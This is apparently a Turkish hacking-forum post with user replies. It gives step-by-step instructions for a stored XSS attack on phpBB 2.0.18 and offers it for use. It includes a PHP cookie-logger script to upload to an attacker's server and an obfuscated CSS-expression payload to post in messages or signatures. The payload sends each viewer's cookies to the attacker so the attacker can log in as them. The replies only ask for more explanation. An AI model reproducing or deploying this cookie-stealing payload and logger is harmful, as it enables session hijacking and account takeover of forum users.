Yöntem: XSS

Merhaba,
Sizlere son sürüm phpbb 2.0.18 acigini anlatiyorum.

------------------------------------------------------

1. Asama:
Bu Kodlari kayit edip Serverinize Upload ediyorsunuz.
- Örnek: cookie.php
- CHMOD: 777


Sor:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('Sitedeki Linkleri Sadece Üyelerimiz Görebilir..');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
?>

------------------------------------------------------

2. Asama:
Bu Kodlari son sürüm phpBB 2.0.18 Versiyonunda normal Mesaj yazarak koyuyorsunuz. Adres olarak Cookie.php'yi Upload ettiginiz yeri belirtin.
Imzalardada calisiyor!

Sor:
<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval
(this.sss));'sss=`i=new/**/Image();i.src='Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
c='+****************;this.sss=null`style='font-size:0; X="<B ">'</B>

------------------------------------------------------

3. Asama:
Sizin yazdiginiz Mesaji görüntüleyen Kisilerin Cookie Bilgileri size gelecek ve sizde bunlari editleyip o Kisinin Adina Login yapabilirsiniz.

nereye gelcek ayıptır sorması

nereye gelecek

guzel dokuman cevap vermicen mi

son-kral açarmısın biraz daha konuyu ?

Ya mail hesabınıza gelir yada pm nize olabilir mi?

bişi anlamışsam arap olayımm konuyu açsana arkadaşım

Anlayan anladı ben anladım mesela ;)

Anlayan anladı ben anladım mesela ;)
madem anladın açıkla biz de öğrenelim.yaw bu aradson-kral tatilemi çıktı ne yok ortalarda.

biraz daha açarsan ii olucak(:

konuyu az daha açarsan ii olur